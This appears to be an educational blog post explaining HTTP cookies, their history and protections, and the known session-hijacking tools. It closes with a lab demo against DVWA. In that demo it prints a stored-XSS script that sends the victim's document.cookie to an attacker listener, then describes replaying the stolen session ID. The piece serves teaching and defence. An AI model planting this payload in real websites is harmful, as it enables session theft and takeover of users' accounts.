What Are Cookies

Browser cookies or HTTP cookies are small data files associated with visited websites which are then stored on the client’s computer. Cookies can contain information that serves several purposes. They can be used in order to:

• Track User Browsing activity -> Being used for target information such as ads, product and media recommendations

• Store Login Status -> Cookies are used in order to keep the client logged into the account even after the browser has been closed. Everyone here uses YouTube, Facebook, or some other site that keeps you logged in during subsequent browser sessions and each of those websites use cookies in order to have that functionality

• Track Site Visitor count -> This use is quite self-explanatory, the site uses the unique ID given to each cookie in order to count the number of visits from separate users. Using the cookies to identify them, even if a user visits the same website 5 times it would still be considered as a single visit

• How do they work

  The first time a user visits a website, the website stores a small file on the user’s PC that has a unique identification code that represents the user. Using this code, the site keeps track of the session, and then stores the session information on the cookie; for example, if we were using an E-commerce site, the session might involve your cart, viewed items, or any coupons you may have saved. Third party cookies are cookies owned by a domain other than the site you are using. They can be used to track users from other web pages. An example of this is when news websites have share to social network buttons. The social network connected to the site can then send their own cookies to collect data, usually this data is used for targeted ads behaviour tracking.

Background

Cookie invented in 1994 By computer programmer Lou Montulli He made them while creating an online store for a company that said its servers were getting overloaded from storing users’ cart data. Montulli was then asked if there was any way to store this data on the users’ computers instead.

Lou took inspiration from the older “Magic cookie” which was used in the C standard library to identify when a user has logged onto a system by shifting a small amount of info from the server to their computer. This concept was applied to web browsing and just like that Montulli invented our modern HTTP cookies.

Modern Browser Protection

Sites that use cookies are now required to ask the user for permission before doing so, this way you are always aware of which sites will be using them.

There is the new HTTPOnly Tag which when added to cookies informs the browser that this cookie cannot be shown through client-side scripts such as the “document.cookie” script you’ll see again a little later.

Most if not all browsers now support extensions and this allows users to download security plugins, a few examples of these are Disconnect, Privacy Badger, along with several made by cybersecurity companies like Norton and Avast.

Many browsers have been updated to always check the SSL certificates, making sure the certificates are valid protects the transferred data from outsiders and protects the client from being redirected without their knowledge.

Dangers of Cookie Theft

Why is it bad for someone to have access to or to be able to steal your cookies? As mentioned before, whenever you log into a site, a cookie is sent to your computer. This cookie can either be a session cookie (used for e-commerce sites and deletes after the browser is closed) or a persistent cookie (used for login or account settings, saved after closing browser). Persistent cookies contain a hash called a session ID which when used to match the sessionID on the server side can allow for automatic login. If a hacker on your network gains access to your cookies, that sessionID becomes as dangerous as giving the hacker your password as they can use the sessionID to spoof your login information and access a website as you. This can have disastrous effects when it comes to emails, banks, and social media logins.

Cookie Stealing Tools

Firesheep as a Firefox plugin. The software was a specialized packet sniffer that looked for unencrypted Facebook session ids, and with a user-friendly UI, provided access to take over the Facebook account of anyone sharing the insecure WiFi network with the attacker! It was a user-friendly, purpose-built Facebook session hijacker.

WhatsApp sniffer was an app that allowed users to display messages from other WhatsApp users that were connected to the same network as the app user. Initial versions of WhatsApp used non encrypted data transfer, which is what was being exploited for this to work. After Introducing End to End Encryption , its now impossible to read data from sniffed packets.

Droidsheep was a tool for android that was used for web session hijacking. Droidsheep would listen to HTTP packets sent wirelessly. Droidsheep would then extract the session id from the packets in order to reuse them. This is becoming harder to implement as everything moves to HTTPS.

Cookie Cadger is an app that automated session hijacking and replay of HTTP requests to gather information and data from that requests that are not using hashing on them. This is another example of HTTPS would prevent this type of attack because HTTPS makes this connections encrypted.

Reference: https://en.wikipedia.org/wiki/Session_hijacking

Session Hijacking Demo

The Demo used three virtual machines in Kali Linux. I implemented a shared network between all three so they could speak with each other. One machine acted as a server for the DVWA repository. One other machine was used as a user, this machine would just visit the hosted site without malicious intent and navigate to the exposed page. The last window is the attackers window. The attacker would inject the following code into a guestbook style page on the website:

<script> new Image().src="http://192.168.100.5:1234/b.php?" +document.cookie; </script>

The attacker would listen on the specified port number in that code. When the user goes to the page with the malicious code embedded, it will excecated immediately. The attacker now has access to the session Id of the user. The attacker can now use a proxy intercept to get into the website using invalid credentials, in this case Burp Suite was used. Now that the attacker has logged in using the session ID of the user, they are able to see any personal information that the user may have stored on this site. Had this been a bank account, there would be a lot of damage a attacker could do.

This tutorial was used for some parts of the Demo: